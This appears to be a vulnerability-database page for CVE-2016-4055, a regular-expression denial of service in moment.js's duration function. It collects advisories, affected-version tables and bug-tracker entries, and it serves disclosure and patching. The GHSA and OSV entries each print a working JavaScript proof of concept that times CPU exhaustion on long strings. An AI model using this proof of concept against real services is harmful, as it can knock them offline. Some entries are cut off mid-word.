CVE-2016-4055
published 2017-01-23CVE-2016-4055: The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string…
PriorityP433medium6.5CVSS 3.1
AVNACLPRLUINSUCNINAH
EPSS
9.90%
95.0th percentile
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
Affected
14 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | node-moment | < node-moment 2.13.0+ds-1 (bookworm) | node-moment 2.13.0+ds-1 (bookworm) |
| debian | node-moment | < node-moment 2.19.3+ds-1 (bookworm) | node-moment 2.19.3+ds-1 (bookworm) |
| moment | moment | >= 0 < 2.11.2 | 2.11.2 |
| momentjs | moment | < 2.11.2 | 2.11.2 |
| momentjs | moment | <= 2.19.2 | — |
| msrc | azl3_ntopng_5.2.1-4_on_azure_linux_3.0 | — | — |
| msrc | azl3_ntopng_5.2.1-5_on_azure_linux_3.0 | — | — |
| msrc | azure_linux_3.0_arm | — | — |
| msrc | azure_linux_3.0_x64 | — | — |
| msrc | cbl2_reaper_3.1.1-10_on_cbl_mariner_2.0 | — | — |
| msrc | cbl_mariner_2.0_arm | — | — |
| msrc | cbl_mariner_2.0_x64 | — | — |
| oracle | primavera_unifier | 16.0 – 18.8.4 | — |
| tenable | nessus | <= 8.2.3 | — |
CVSS provenance
nvdv3.16.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
nvdv2.07.8HIGHAV:N/AC:L/Au:N/C:N/I:N/A:C
osv6.5MEDIUM
vendor_msrc7.5HIGH
vendor_debian6.5LOW
vendor_redhat6.5MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Ubuntu
Moment.js vulnerabilities
vendor_ubuntu·2021-03-15
CVE-2016-4055 Moment.js vulnerabilities
Title: Moment.js vulnerabilities
Summary: Several security issues were fixed in Moment.js.
It was discovered that Moment.js mishandled certain regular expressions. An
attacker could use this vulnerability to cause a denial of service.
Instructions: In general, a standard system update will make all the necessary changes.
Microsoft
The moment module before 2.19.3 for Node.js is prone to a regular expression denial of service via a crafted date string a different vulnerability than CVE-2016-4055.
vendor_msrc·2018-03-13·CVSS 7.5
CVE-2017-18214 [MEDIUM] CWE-400 The moment module before 2.19.3 for Node.js is prone to a regular expression denial of service via a crafted date string a different vulnerability than CVE-2016-4055.
The moment module before 2.19.3 for Node.js is prone to a regular expression denial of service via a crafted date string a different vulnerability than CVE-2016-4055.
FAQ: Is Azure Linux the only Microsoft product that includes this open-source library and is therefore potentially affected by this vulnerability?
One of the main benefits to our customers who choose to use the Azure Linux distro is the commitment to keep it up to date with the most recent and most secure versions of the open source libraries with which the distro is composed. Microsoft is committed to transparency in this work which is why we began publishing CSAF/VEX in October 2025. See this blog post for more information. If impact to additional products is identified, we will update the CVE to reflect this.
Mariner: Ma
Red Hat
nodejs-moment: Regular expression denial of service
vendor_redhat·2017-09-08·CVSS 6.5
CVE-2017-18214 [MEDIUM] CWE-400 nodejs-moment: Regular expression denial of service
nodejs-moment: Regular expression denial of service
The moment module before 2.19.3 for Node.js is prone to a regular expression denial of service via a crafted date string, a different vulnerability than CVE-2016-4055.
Statement: This issue affects the versions of momentjs as shipped with Red Hat Enterprise Satellite 5. Red Hat Product Security has rated this issue as having security impact of Moderate. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.
In Quay 3.10 and above, no version of affected momentjs is present.
Package: nodejs-moment (Red Hat Mobile Application Platform 4) - Affected
Package: quay/quay-rhel8 (Red Hat Quay 3) - Not affected
Package: momentj
Debian
CVE-2017-18214: node-moment - The moment module before 2.19.3 for Node.js is prone to a regular expression den...
vendor_debian·2017·CVSS 6.5
CVE-2017-18214 [MEDIUM] CVE-2017-18214: node-moment - The moment module before 2.19.3 for Node.js is prone to a regular expression den...
The moment module before 2.19.3 for Node.js is prone to a regular expression denial of service via a crafted date string, a different vulnerability than CVE-2016-4055.
Scope: local
bookworm: resolved (fixed in 2.19.3+ds-1)
bullseye: resolved (fixed in 2.19.3+ds-1)
forky: resolved (fixed in 2.19.3+ds-1)
sid: resolved (fixed in 2.19.3+ds-1)
trixie: resolved (fixed in 2.19.3+ds-1)
Red Hat
moment.js: regular expression denial of service
vendor_redhat·2016-01-26·CVSS 6.5
CVE-2016-4055 [MEDIUM] CWE-185 moment.js: regular expression denial of service
moment.js: regular expression denial of service
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
Package: momentjs (Red Hat Satellite 5.7) - Will not fix
Debian
CVE-2016-4055: node-moment - The duration function in the moment package before 2.11.2 for Node.js allows rem...
vendor_debian·2016·CVSS 6.5
CVE-2016-4055 [MEDIUM] CVE-2016-4055: node-moment - The duration function in the moment package before 2.11.2 for Node.js allows rem...
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
Scope: local
bookworm: resolved (fixed in 2.13.0+ds-1)
bullseye: resolved (fixed in 2.13.0+ds-1)
forky: resolved (fixed in 2.13.0+ds-1)
sid: resolved (fixed in 2.13.0+ds-1)
trixie: resolved (fixed in 2.13.0+ds-1)
OSV
CVE-2017-18214: The moment module before 2
osv·2018-03-04·CVSS 6.5
CVE-2017-18214 [MEDIUM] CVE-2017-18214: The moment module before 2
The moment module before 2.19.3 for Node.js is prone to a regular expression denial of service via a crafted date string, a different vulnerability than CVE-2016-4055.
GHSA
Regular Expression Denial of Service in moment
ghsa·2017-10-24
CVE-2016-4055 [MEDIUM] CWE-400 Regular Expression Denial of Service in moment
Regular Expression Denial of Service in moment
Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.
## Proof of concept
```
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
```
### Results
```
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT
OSV
Regular Expression Denial of Service in moment
osv·2017-10-24
CVE-2016-4055 [MEDIUM] Regular Expression Denial of Service in moment
Regular Expression Denial of Service in moment
Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.
## Proof of concept
```
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
```
### Results
```
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT
OSV
CVE-2016-4055: The duration function in the moment package before 2
osv·2017-01-23·CVSS 6.5
CVE-2016-4055 [MEDIUM] CVE-2016-4055: The duration function in the moment package before 2
The duration function in the moment package before 2.11.2 for Node.js allows remote attackers to cause a denial of service (CPU consumption) via a long string, aka a "regular expression Denial of Service (ReDoS)."
No detection rules found.
No public exploits indexed.
Bugzilla
CVE-2017-18214 nodejs-moment: Regular expression denial of service
bugzilla·2018-03-08·CVSS 6.5
CVE-2017-18214 [MEDIUM] CVE-2017-18214 nodejs-moment: Regular expression denial of service
CVE-2017-18214 nodejs-moment: Regular expression denial of service
The moment module before 2.19.3 for Node.js is prone to a regular expression denial of service via a crafted date string, a different vulnerability than CVE-2016-4055.
Upstream patch:
https://github.com/moment/moment/pull/4326
Upstream issue:
https://github.com/moment/moment/issues/4163
References:
https://nodesecurity.io/advisories/532
Discussion:
Created nodejs-moment tracking bugs for this issue:
Affects: fedora-all [bug 1553414]
---
Statement:
This issue affects the versions of momentjs as shipped with Red Hat Enterprise Satellite 5. Red Hat Product Security has rated this issue as having security impact of Moderate. A future update may address this issue. For additional information, refer to the Issue Seve
Bugzilla
CVE-2016-4055 moment.js: regular expression denial of service
bugzilla·2016-02-04·CVSS 6.5
CVE-2016-4055 [MEDIUM] CVE-2016-4055 moment.js: regular expression denial of service
CVE-2016-4055 moment.js: regular expression denial of service
moment is vulnerable to regular expression denial of service when user input is passed unchecked into moment.duration() blocking the event loop for a period of time.
Upstream patch:
https://github.com/moment/moment/pull/2939
External References:
https://nodesecurity.io/advisories/55
Discussion:
Created nodejs-moment tracking bugs for this issue:
Affects: fedora-all [bug 1304649]
---
CVE assignment:
http://seclists.org/oss-sec/2016/q2/122
Bugzilla
CVE-2016-4055 nodejs-moment: moment.js: regular expression denial of service [fedora-all]
bugzilla·2016-02-04·CVSS 6.5
CVE-2016-4055 [MEDIUM] CVE-2016-4055 nodejs-moment: moment.js: regular expression denial of service [fedora-all]
CVE-2016-4055 nodejs-moment: moment.js: regular expression denial of service [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of Fedora.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported
http://www.openwall.com/lists/oss-security/2016/04/20/11http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.htmlhttp://www.securityfocus.com/bid/95849https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731%40%3Cdev.flink.apache.org%3Ehttps://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49%40%3Cuser.flink.apache.org%3Ehttps://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2%40%3Cuser.flink.apache.org%3Ehttps://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854%40%3Cuser.flink.apache.org%3Ehttps://nodesecurity.io/advisories/55https://www.tenable.com/security/tns-2019-02http://www.openwall.com/lists/oss-security/2016/04/20/11http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.htmlhttp://www.securityfocus.com/bid/95849https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731%40%3Cdev.flink.apache.org%3Ehttps://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49%40%3Cuser.flink.apache.org%3Ehttps://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2%40%3Cuser.flink.apache.org%3Ehttps://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854%40%3Cuser.flink.apache.org%3Ehttps://nodesecurity.io/advisories/55https://www.tenable.com/security/tns-2019-02
2017-01-23
Published